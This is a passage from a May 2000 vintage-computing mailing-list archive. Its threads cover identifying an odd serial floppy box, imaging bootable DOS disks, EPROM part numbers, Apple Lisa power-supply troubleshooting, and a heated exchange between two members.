CP/M computer. It sounds alot like my PMC 101 "MicroMate". http://www.best.com/~dcoward/ebay/micromat.jpg The MicroMate is about the same size as and looks like a TRS-80 Model 1 disk drive. On the back it has DB-25s for "Terminal" and "Modem". It weights only 10 pounds but when you open the case there is a DSDD 400K floppy drive, a power supply and a board that runs the length of the case, which is a 128K 4Mhz Z80A based CP/M computer. If this is the "case" - you'll need a boot disk. What is inside this box of yours? --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From korpela at albert.ssl.berkeley.edu Thu May 25 10:43:49 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> from Chuck McManis at "May 24, 2000 05:45:14 pm" Message-ID: <200005251543.IAA08546@islay.ssl.berkeley.edu> > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. Using dd or the equivalent is probably the best way. I generally zip the floppy contents (with appropriate flags to preserve hidden and system files and the volume label) and create a dd image if the disk is bootable. Eric From korpela at albert.ssl.berkeley.edu Thu May 25 11:00:12 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <31.58ae1a4.265df454@aol.com> from "SUPRDAVE@aol.com" at "May 24, 2000 11:13:24 pm" Message-ID: <200005251600.JAA08644@islay.ssl.berkeley.edu> > I use pcdos 6.3 and 7.0. much better than msdos i think, and i prefer the > editor. how in the world can one realise 15% performance increase running > disk compression? logic would indicate a degradation since you are running an > extra task to compress the hard drive not to mention less memory space in the > UMBs to load the compression driver high. i do not use any sort of disk > compression and never recommend it to anyone. i supported end users, and > there were too many times when users compressed their hard drives, and ended > up hosing them. only option to them was fdisk and reinstall. K.I.S.S. As usual, with disk compression YMMV. It depends upon where the bottleneck is. The first system I used compressed volumes on (a long time back) had an XT bus running at half the processor speed that was lucky to get 250 kBps from the HD drives. It was so slow that the best interleave was 1 because it took an entire rotation to transfer one sector from the controller to memory. Compression besically doubled the I/O speed. A good (not smartdrive) write cache (with write delay set to the max) worked wonders as well. Even on my 386 machine compression turned out to be a performance boost in DOS and Windows. In the end, I don't think I lost any data to failure of a compressed drive. Stacker was pretty robust. Eric From elvey at hal.com Thu May 25 11:10:30 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:02 2005 Subject: Altair parts substitutions In-Reply-To: <20000525020818.510.qmail@brouhaha.com> Message-ID: <200005251610.JAA03726@civic.hal.com> Eric Smith wrote: > "Richard Erlacher" wrote: > > Eric, I hope I'm not crazy . . . My recollection of the Intel 8748 board, > > for which series I recall Intel cooked up the 87xx part numbers, had > > silkscreened on it "It's a 5-Volt world" though they didn't use 5-volt-to > > whatever they wanted to use for RS232 converters. The memories didn't see > > any power supply other than +5. > > True of things like the 8755, which was introduced at about the same time. > But the 8708 was from a few years earlier, and was definitely marketed as > an EPROM for use with the 8080. I don't have any pre-1980 Data Catalogs > handy, but I'm 99.99% certain that the 8708 was just a different designation > for the 2708, just as the 8102 is a 2102, and the 8205 is a 3205. Some times there were slight differences between family, similar names. There was a 4702 that had a 1 volt different rating on the negative rail as compared to the 1702. If one looks in many of the older Intel development systems, they may find what look like 2716's but were labeled 2617 ( as I recall ). These were 2716's that had a few bits bad that were used as system ROM's. If the bad bits didn't interfere with the data needed, they used them. Intel did a lot of strange numbering. Not everything they did was consistent. Dwight From elvey at hal.com Thu May 25 11:24:43 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:02 2005 Subject: Altair parts substitutions In-Reply-To: <004001bfc5f4$2cc6c760$7564c0d0@ajp166> Message-ID: <200005251624.JAA03853@civic.hal.com> "allisonp" wrote: > > > EBayism struck, later they were nearly out of production and Rare. > But the products that needed them lived on. hance the high price > near end of life. > > Allison If the people buying them only knew that they could plug a 2716 into the same socket, they could save a bunch of money. I guess if the part sheet says 2758, that is what you use. While at Intel, I never did see anything other than the half bad 2716's. For lab use, we often used them just like the 2616's that I mentioned in an earlier post. Dwight From wilson at dbit.dbit.com Thu May 25 12:19:16 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:02 2005 Subject: ASCII art In-Reply-To: <392CD27A.853F6C86@home.com>; from mranalog@home.com on Thu, May 25, 2000 at 12:12:58AM -0700 References: <392CD27A.853F6C86@home.com> Message-ID: <20000525131916.A31373@dbit.dbit.com> On Thu, May 25, 2000 at 12:12:58AM -0700, Doug Coward wrote: > A couple of years ago, after reading the chapter on ASCII art > in "The New RTTY Handbook", I wrote a quick and dirty program > to to convert .BMP files into non-overstrike ASCII pictures > I could send in emails. From the book, I created my levels of > "gray" in 8 levels with this character array: > M H I : " , . [SP] (from dark to light) Do any of the line printer art programs attempt to distribute the error to neighboring pixels? I always assumed those systems (the commercial ones anyway, like the outfits that used to make line-printer T-shirts from photos) used something like Floyd-Steinberg halftoning, where you use the value of the current pixel to choose a level of gray, then figure out by how much that level differs from the value you *really* wanted, and distribute that error to neighboring pixels which you'll visit later on in the sequence. Having a cumulative error of only one level of gray per line lets you get really nice pictures from lousy output devices, all with integer math... John Wilson D Bit From wilson at dbit.dbit.com Thu May 25 12:47:50 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:02 2005 Subject: PCDOS 2000 In-Reply-To: <200005251054.GAA06131@bg-tc-ppp858.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 25, 2000 at 06:54:41AM -0400 References: <20000525005207.A29409@dbit.dbit.com> <200005251054.GAA06131@bg-tc-ppp858.monmouth.com> Message-ID: <20000525134750.B31373@dbit.dbit.com> On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > It's interesting that they've been using the Ramboost from Central Point > Software in it years after CPS got swallowed and eradicated by Symantec. So *that's* what happened to CPS! I've been using the CPBACKUP that came with PC-DOS (6.3?) for years, but a while back when I went looking to buy the latest version (if any), I couldn't find any trace of CPS. Well I guess the fact that they don't exist any more doesn't let them off the hook with their agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. John Wilson D Bit From ard at p850ug1.demon.co.uk Thu May 25 13:15:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> from "Chuck McManis" at May 24, 0 05:45:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 709 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/b30fa0cf/attachment.ksh From rdd at smart.net Thu May 25 13:44:14 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:02 2005 Subject: CT Miniframe Message-ID: Greetings, Are there still users on this list who've used a CT Miniframe running CTIX and have experience installing the OS from tapes? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rigdonj at intellistar.net Thu May 25 15:28:20 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:02 2005 Subject: Strange box In-Reply-To: <392D4315.1CDB0D59@home.com> Message-ID: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> At 08:13 AM 5/25/00 -0700, Doug wrote: >************** > I'm sending this again because my first attempt went to >classiccmp-classiccmp-org@jade.tseinc.com and was rejected. >If you are receiving a second copy of this,ignore it. >************** >Joe wrote: >> I found this in a pile of surplus computers yesterday. Can anyone tell >> me what it is? It looks like an ordinary external 5 1/4" drive box but on >> the back of the box it has a DB-25M connector marked "MODEM/CPU" and a >> DB-25F connector marked "TERMINAL". There's also a rotary switch labeled >> "RATE" with positions marked "10", "30", "120", "240", "480", 960" and >> "EXT". Then there's a toggle switch with positions marked "BIN CTRL ON" >> "ODD" and "EVEN". And another toggle switch with positons marked "FULL" and >> "HALF". It has a socket for a standard AC line cord. It's made by Techtran >> Industries of Rochester, N.Y. and it's a model 950A. My guess is that it's >> a disk drive that's made to go between a terminal and it's MODEM or >> computer but I've never heard of one before. If that's what it is, then >> how do you give it coomands? > > Joe, > I don't think this is one of those file-system/data logger type >drives,I have one of those and it has a keypad on the front of the >drive you use to open a disk file before dumping serial data to it >and to close the file when you're done. > > Instead, I think you have a CP/M computer. It sounds alot like >my PMC 101 "MicroMate". > http://www.best.com/~dcoward/ebay/micromat.jpg > The MicroMate is about the same size as and looks like a TRS-80 >Model 1 disk drive. On the back it has DB-25s for "Terminal" and >"Modem". It weights only 10 pounds but when you open the case >there is a DSDD 400K floppy drive, a power supply and a board >that runs the length of the case, which is a 128K 4Mhz Z80A based >CP/M computer. If this is the "case" - you'll need a boot disk. > What is inside this box of yours? > --Doug Doug, I think Tony is right about it beins some kind of buffer box. I wish it was some kind of small computer! There are a couple more where I found this one. I opened it this morning and it has has a 8085AH CPU in it along with a 8212 IC (8 bit latch) and two 8156 ICs (8 x 256 bit SRAM with timer and I/O ports) in it along with a lot of SSI TTL chips. All the ICs seem to be dated 1979 and 1982. There's also a linear power supply in it and it has a Tandon model 100A1 single sided floppy drive in it. There's no keypad on the front but it does have three LEDs marked "READ", "WRITE" and "READY" and a toggle switch with postions marked "BINARY", "ON-LINE" and "OFF". I found an original disk for it and installed it and powered it up and the READ and WRITE LEDs flash a few times then go out and the READY LED comes on and stays on. I tried the same thing with another disk and the READ and WRIE LEDs flash a few time but then the READ, WRITE and READY LEDs all start flasking in turn so it knows that it's not the proper disk. I tried to find a file system on the original disk but I haven't found one yet. I'll post some pictures as soon as I can. Perhaps someone will recognize it. If it is just a buffer, I may see if someone wants it for a small computer box or for an external drive for an old computer. It's in a good stout steel case and has a good power supply and a fan with filter in it. What was your MicroMate made for? It seems kind of limited with so few ports. Joe From rigdonj at intellistar.net Thu May 25 14:58:48 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:02 2005 Subject: Notes on repairing the Apple Lisa power supply Message-ID: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> I have a Lisa 2/5 that doesn't want to work. Here's some things that I've found out in the process of troubleshooting it. (1) The PS in the 2/5 and the 2/10 are interchangeable but the 2/5 PS has a lower capacity. (2/10 and the Mac XL hardware are the same). (2) The card cage must be installed in a before the PS will turn on but the memory and I/O cards need not be installed. (3) The CPU does not have to be installed for the PS to work but if it's not installed the PS will keep resetting and will make a chirping sound. (4) The card cages for the 2/5 and 2/10 have different brackets and don't appear to be interchangeable. (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough to power it on and get a display. >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will cause the PS to appear defective.< (see note 2!) My 2/5 will not power on. I installed a known good PS from a 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so it is good. The 2/5 will power up with an I/O board from a 2/10 or with no I/O board installed so the problem appears to be in the I/O board. The battery condition seems to not matter. Does anyone have a schematic of the interlocks and interconnects for the Lisa 2/5 or know what signals the power supply gets from the I/O board? Joe From donm at cts.com Thu May 25 14:29:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:02 2005 Subject: PCDOS 2000 In-Reply-To: <20000525134750.B31373@dbit.dbit.com> Message-ID: On Thu, 25 May 2000, John Wilson wrote: > On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > > It's interesting that they've been using the Ramboost from Central Point > > Software in it years after CPS got swallowed and eradicated by Symantec. > > So *that's* what happened to CPS! I've been using the CPBACKUP that came > with PC-DOS (6.3?) for years, but a while back when I went looking to buy the > latest version (if any), I couldn't find any trace of CPS. Well I guess the > fact that they don't exist any more doesn't let them off the hook with their > agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. > > John Wilson > D Bit > And that is what happened to the CPS Deluxe Option Card and the earlier Copy-to-PC software, also. - don From foo at siconic.com Thu May 25 13:45:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:02 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: <000101bfc5b3$737a3570$013da8c0@Corellian> Message-ID: On Wed, 24 May 2000, John Lewczyk wrote: > I just picked up a non-functioning Lisa 2 (which was an upgraded Lisa 1) and > have lots of technical documentation, but nothing on the motherboard and > wiring between powersupply, video and motherboard/cage assembly. I'd like > to avoid tracing it all out if this info is available. The Lisa/Macintosh XL Do-it-yourself Guide has some good data on the Lisa, but no schematics. I believe I have technical data on the Lisa, but it's buried :( > Also, it appears that one 120 pin socket on the motherboard is missing a > connector pin, and there is some amount of blue corrosion on the tops of the > other connectors. What's the best way to clean off this kind of (light) > corrosion (oxidation)? The blue corrosion is usually caused by the clock battery on the main board (the one you see when you open up the back) that goes bad and leaks all over the damn place. Some good suggestions have come up in the past regarding cleaning it up, so I'll let the experts chime in (I know I have that info saved somewhere). > It appears to me that the motherboard socket that is missing one pin will > need to be replaced. Anybody have any recommendations on how to best do > this? The motherboard is a four layer board. I have soldering/desoldering > experience, but I've never tackled an item with this many pins on a 4 layer > board before. Find another Lisa :) and use it for parts. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From RCini at congressfinancial.com Thu May 25 14:49:05 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:02 2005 Subject: Paper tape format Message-ID: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> >From the "just out of curiosity" department... What is the punch format used for a paper tape that would be used on an Altair or IMSAI? Is it straight binary or something like the Intel Hex format? The reason why I'm asking is because I'm toying with adding a virtual paper tape punch/reader to Claus Guiloi's IMSAI emulator. Rich From rdd at smart.net Thu May 25 14:51:32 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:02 2005 Subject: Items for trade Message-ID: Is anyone interested in trading a pair of what appear to be two 256K Unibus memory boards, made by National Semiconductor Memory Systems (these boards have four rows of thirty-two 4164-15 ICs on them), for two of the following: - DEUNA for a PDP-11 - RS232 interface for a PDP-8/e - TK50 Q-bus controller - some other board I don't have and can use - or... will trade both memory boards for one Q-bus 32-bit SCSI interface. Other things available: Emulex Performance 4000 terminal server; has a short in it somewhere. Either fix it and get a working server, or, turn it back in to Emulex and for just a couple of hundred bucks, get a reconditioned working server! (this was the case the last time I contacted Emulex) Make me an offer. Sun Field Engineers Handbooks: like new condition for the newer (not very newest) SPARC machines... these don't go back to the older Sun 4 and Sun 3 systems, which I need the handbooks for. Some sort of ethernet board for a QMS printer, marked as: QMS DTRBD, ETHRNT, 16BIT, CROWN, 2293117. The box it came in has "Appletalk for QMS860" written on it, but documentation in the box says "QMS UNIX Host Software." The following I'd prefer to trade locally (Baltimore area): An IBM 4701-1 bank branch controller system; comes with three small Geac terminals (sans keyboards!) and some other sort of interface units, cables, etc. Interesting looking toy for those into IBM stuff, and includes documentation (a book inside the cabinet!). I'll bet that with some hacking, this could be made into some sort of dedicated controller of some sort for an application not requiring much CPU speed or memory. Fascinating looking bus, boards, etc. Contains an 8" floppy drive. Things I'm looking for: - anything DEC-related (could use a cabinet tell enough to put an 11/44 CPU and four RL02 drives in) - PDP-8/e boards (esp. hard drive or RS232 interface) and an additional backplane - ULTRIX 4.2 installation media to replace the now missing /usr directory on my Decstation - OS for a MIPS Magnum 3000 on a cartridge tape, as well as any documentation for this system - Data General system running 16-bit AOS/VS, preferable something small like an MV-2,000/4,000 (I want to see "Nothing happens." in response to XYZZY, not "Twice as much happens.") -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From foo at siconic.com Thu May 25 13:55:36 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:02 2005 Subject: Bootable Floppy from CD? In-Reply-To: <3.0.2.32.20000525002112.010fcb38@postoffice3.mail.cornell.edu> Message-ID: On Thu, 25 May 2000, Carlos Murillo wrote: > El Torito. > > The origin? beats me. There's a restaurant chain in California called that. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pechter at pechter.dyndns.org Thu May 25 14:56:22 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:02 2005 Subject: PCDOS 2000 In-Reply-To: <20000525134750.B31373@dbit.dbit.com> from John Wilson at "May 25, 2000 01:47:50 pm" Message-ID: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> > On Thu, May 25, 2000 at 06:54:41AM -0400, Bill Pechter wrote: > > It's interesting that they've been using the Ramboost from Central Point > > Software in it years after CPS got swallowed and eradicated by Symantec. > > So *that's* what happened to CPS! I've been using the CPBACKUP that came > with PC-DOS (6.3?) for years, but a while back when I went looking to buy the > latest version (if any), I couldn't find any trace of CPS. Well I guess the > fact that they don't exist any more doesn't let them off the hook with their > agreement with IBM!!! CPBACKUP is still there, and so is CP UNDELETE. > > John Wilson > D Bit Surprised you didn't hear that. I was so mad I swore I wouldn't buy Norton* after that because the support dropped too quickly and they didn't pick the best programs to keep -- PC Tools for Windows got subsumed to the Norton Equivalents. Nothing beat the older PC Tools. Symantec's website seems to have some updates for the PCTools stuff. I assume IBM got source. Of course when I worked for IBM I ordered their AntiVirus suite... Paid the support fee -- then IBM drops the program and unloades it to be the base of Norton AntiVirus. Figures. And DEC unloads the PDP11 to Mentec and OS/2 gets killed. So it goes. BTW -- Thanks again for E11. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From steverob at hotoffice.com Thu May 25 15:13:11 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:02 2005 Subject: Question about PC-MOS Message-ID: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Has anybody heard of an OS called "PC-MOS"? I'm supposed to pick up a system on Saturday that runs that OS and was wondering what the heck it is. Thanks, Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/668c16a0/attachment.html From donm at cts.com Thu May 25 15:27:33 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:02 2005 Subject: Epson TF-10 Floppy Drive power In-Reply-To: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> Message-ID: Does anyone have documentation or experience enough to describe the battery power circuit for this external 3.5" floppy drive as used with the PX-8 Geneva? >From the multiple terminals in the battery compartment, it appears that it must require an adapter of some sort to use and charge NiCads in it, whereas normal C cells just snap in and are isolated from the charging circuit. Any information appreciated. - don From rdd at smart.net Thu May 25 15:34:27 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:02 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > I have a Lisa 2/5 that doesn't want to work. Here's some things that I've > found out in the process of troubleshooting it. Weierd, I could have sworn I just read the words "process of troubleshooting" above; I'd better get my eyes checked. > (2) The card cage must be installed in a before the PS will turn on but > the memory and I/O cards need not be installed. Did you test the power supply with a dUmmy load first, using a voltmeter as well as an oscilloscope to check for voltage levels, as well as spikes, before applying power to the boards, and applying any necessary test connections to the PSU's input connectors? > (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough > to power it on and get a display. "properly enough"? > >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will > cause the PS to appear defective.< (see note 2!) Don't you mean an I/O card with a short circuit somewhere? If you don't know what a short circuit is, just ask, or experiment... e.g., if, for example, you touch the conductors connected to the hot and ground connectors of a mains socket, and a fuse blows or a circuit breaker trips, you'll find that you've learned a lot about short circuits and saving classic computers. ;-) > My 2/5 will not power on. I installed a known good PS from a > 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so > it is good. The Surely you jest... They why did you risk swapping in another un-tested, even though thought to be good, PSU, and risk additional damage to the boards? Didn't you test the 2/5 PSU before doing anything else? Why put the 2/10 at risk by putting a PSU in suspect condition into it? Hmmm... have you considered computer preservation as a hobby instead of computer demolition? > 2/5 will power up with an I/O board from a 2/10 or with no I/O board > installed so the problem appears to be in the I/O board. The battery > condition seems to not matter. Does anyone have a schematic of the > interlocks and interconnects for the Lisa 2/5 or know what signals the > power supply gets from the I/O board? Shouldn't you have tried to find that out before swapping things around without knowing what you were doing? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From dhquebbeman at theestopinalgroup.com Thu May 25 15:49:01 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:02 2005 Subject: Question about PC-MOS Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD50@tegntserver.tegjeff.com> Mult-user clone of MS/PC-DOS, was from a company called TSL (The Software Link). hth, -dq -----Original Message----- From: Steve Robertson [mailto:steverob@hotoffice.com] Sent: Thursday, May 25, 2000 4:13 PM To: classiccmp@classiccmp.org Subject: Question about PC-MOS Has anybody heard of an OS called "PC-MOS"? I'm supposed to pick up a system on Saturday that runs that OS and was wondering what the heck it is. Thanks, Steve Robertson From wilson at dbit.dbit.com Thu May 25 15:54:55 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:02 2005 Subject: PCDOS 2000 In-Reply-To: <200005251956.PAA07449@bg-tc-ppp454.monmouth.com>; from pechter@pechter.dyndns.org on Thu, May 25, 2000 at 03:56:22PM -0400 References: <20000525134750.B31373@dbit.dbit.com> <200005251956.PAA07449@bg-tc-ppp454.monmouth.com> Message-ID: <20000525165455.A32289@dbit.dbit.com> On Thu, May 25, 2000 at 03:56:22PM -0400, Bill Pechter wrote: > And DEC unloads the PDP11 to Mentec and OS/2 gets killed. Last I heard OS/2 was still very much alive, although IBM's attitude towards it is surly to say the least. But unlike some companies I could mention, IBM knows better than to refuse to accept money from their customers just because the customers want to buy something other than whatever new toy the IBM management is excited about this week. So it will probably keep getting *some* support as long as the customers are willing to pay for it. John Wilson D Bit From wilson at dbit.dbit.com Thu May 25 15:56:14 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:02 2005 Subject: Question about PC-MOS In-Reply-To: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com>; from steverob@hotoffice.com on Thu, May 25, 2000 at 04:13:11PM -0400 References: <2921A6D846E9D31182490050040DC0D6682BDC@hoexc101.hotoffice.com> Message-ID: <20000525165614.B32289@dbit.dbit.com> On Thu, May 25, 2000 at 04:13:11PM -0400, Steve Robertson wrote: > Has anybody heard of an OS called "PC-MOS"? > > I'm supposed to pick up a system on Saturday that runs that OS and was > wondering what the heck it is. Could be wrong but, my understanding is that it's a multi-user MS-DOS clone, typically used in point-of-sale systems. John Wilson D Bit From ard at p850ug1.demon.co.uk Thu May 25 13:38:12 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:02 2005 Subject: Altair parts substitutions In-Reply-To: from "allisonp@world.std.com" at May 25, 0 09:09:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 858 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/17091f42/attachment.ksh From richard at idcomm.com Thu May 25 16:03:10 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:02 2005 Subject: Altair parts substitutions References: Message-ID: <001701bfc68c$a3038060$0400c0a8@winbook> See my comments below, plz. Dick ----- Original Message ----- From: To: Sent: Thursday, May 25, 2000 7:09 AM Subject: Re: Altair parts substitutions > On Wed, 24 May 2000, Richard Erlacher wrote: > > > You're right about the PMOS=> NMOS=>HMOS=>CMOS shifts in technology, but > > I'd be surprised to learn that the 3000 series parts as well as the 82xx > > bipolar parts weren't manufactured by NS, MMI, or TI. > > > > Dick > > Exactly. Intel had bipolar fab but limited capability. Actually you > forgot Signetics and likely others that were used as silicon foundaries. > This is something that has always been commonplace in the industry. > > However no one ever supplied the 3000 two bit slice other than intel. > I don't think this was an accident, nor was it a mistake. The only reference I've ever heard/read made to a bipolar fab under Intel's ownership has been from you. It's not unlikely that I could have missed it, being relatively uninterested in issues like who owned the fab, but I have looked inside a number (50 > n >150) Intel bipolar parts among others' bipolars, and never have I seen one without another manufacturer's logo. MMI was pretty common among them. This was done in order to "decode" IBM, HP, Burroughs, and others' stock numbered parts when I happened on a significant quantity. > > From richard at idcomm.com Thu May 25 16:10:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:02 2005 Subject: Paper tape format References: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> Message-ID: <005101bfc68d$bcfdc7e0$0400c0a8@winbook> I suppose one could use a hex format, but I've never seen anything under CP/M other than binary. Normally it's loaded into memory and then saved to disk. Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Thursday, May 25, 2000 1:49 PM Subject: Paper tape format > >From the "just out of curiosity" department... > > What is the punch format used for a paper tape that would be used on an > Altair or IMSAI? Is it straight binary or something like the Intel Hex > format? > > The reason why I'm asking is because I'm toying with adding a virtual paper > tape punch/reader to Claus Guiloi's IMSAI emulator. > > > Rich > From rigdonj at intellistar.net Thu May 25 17:46:57 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:02 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: References: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525174657.5327c6a4@mailhost.intellistar.net> At 04:34 PM 5/25/00 -0400, R. D. Davis wrote: >On Thu, 25 May 2000, Joe wrote: >> I have a Lisa 2/5 that doesn't want to work. Here's some things that I've >> found out in the process of troubleshooting it. > >Weierd, I could have sworn I just read the words "process of >troubleshooting" above; I'd better get my eyes checked. Weierd? Maybe the problem isn't your eyes. > >> (2) The card cage must be installed in a before the PS will turn on but >> the memory and I/O cards need not be installed. > >Did you test the power supply with a dUmmy load first, using a >voltmeter as well as an oscilloscope to check for voltage levels, as >well as spikes, before applying power to the boards, and applying any >necessary test connections to the PSU's input connectors? No, I didn't since I took it out of a working machine. I don't mean WAS working, I mean one that I have been using and that I tested less than five minutes before pulling the PS. > >> (5) An I/O card from a 2/10 will work in a 2/5, at least properly enough >> to power it on and get a display. > >"properly enough"? The 2/10 doesn't have an external parallel port and there are other differences but you can still get a display with it. That's what I'm talking about. FYI the parallel port in the 2/10 is used for the hard drive. I did disconnect the drives before starting. > >> >(6) A "bad" I/O card in a 2/5 will prevent the PS from turning on and will >> cause the PS to appear defective.< (see note 2!) > >Don't you mean an I/O card with a short circuit somewhere? Did I say short circuit? Hmmm, nope I don't see that anywhere. If you >don't know what a short circuit is, just ask, or experiment... e.g., Thanks but I've seen plenty of them. In case you can't figure it out, the point is that a "bad" I/O card will make it appear that the power supply is bad. Perhaps that's one reason that so many people have Lisas with what they think has a bad power supply. >if, for example, you touch the conductors connected to the hot and >ground connectors of a mains socket, and a fuse blows or a circuit >breaker trips, you'll find that you've learned a lot about short >circuits and saving classic computers. ;-) > >> My 2/5 will not power on. I installed a known good PS from a >> 2/10 and it still doesn't work. The 2/5 PS DOES work in the 2/10 so >> it is good. The > >Surely you jest... > >They why did you risk swapping in another un-tested, even though >thought to be good, PSU, and risk additional damage to the boards? Yes, you'd better have your eyes checked! I said KNOWN good power supply. You even quoted me above. >Didn't you test the 2/5 PSU before doing anything else? Why put the >2/10 at risk by putting a PSU in suspect condition into it? I tested BOTH power supplies as best as possible before swapping them. They were both good. That was proven with they both worked in the other machines. Oh, and in case you think I shouldn't have swapped the supplies to the different machines, I did verify that they were compatible in one of the Apple repair manuals first. Would you like for me to scan and post the appropriate page? I have it right here is front of me. The same manual states that the cards are also interchangeable but that there are some differences in the I/O card due to the hard drive (I disconnected it.) > >Hmmm... have you considered computer preservation as a hobby instead >of computer demolition? Have you considered minding your own business and not putting words in other people's mouths? > >> 2/5 will power up with an I/O board from a 2/10 or with no I/O board >> installed so the problem appears to be in the I/O board. The battery >> condition seems to not matter. Does anyone have a schematic of the >> interlocks and interconnects for the Lisa 2/5 or know what signals the >> power supply gets from the I/O board? > >Shouldn't you have tried to find that out before swapping things >around without knowing what you were doing? I knew what I was doing. Shouldn't you find out what you're talking about before you start shooting your mouth off? I don't know what kind of hair you have up your ass but I just e-mailed you and offered you some of the DEC 11/44 stuff that you were looking for. Now you can forget that! Joe > >-- >R. D. Davis >rdd@perqlogic.com >http://www.perqlogic.com/rdd >410-744-4900 > > From mgregory at vantageresearch.com Thu May 25 16:48:35 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:02 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] Message-ID: <016c01bfc692$fab2a600$0200a8c0@marvin> -----Original Message----- From: R. D. Davis To: classiccmp@classiccmp.org Date: Thursday, May 25, 2000 3:02 PM Subject: Re: Notes on repairing the Apple Lisa power supply >Hmmm... have you considered computer preservation as a hobby instead >of computer demolition? > > >Shouldn't you have tried to find that out before swapping things >around without knowing what you were doing? > >-- >R. D. Davis >rdd@perqlogic.com >http://www.perqlogic.com/rdd >410-744-4900 > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't add much useful information to help 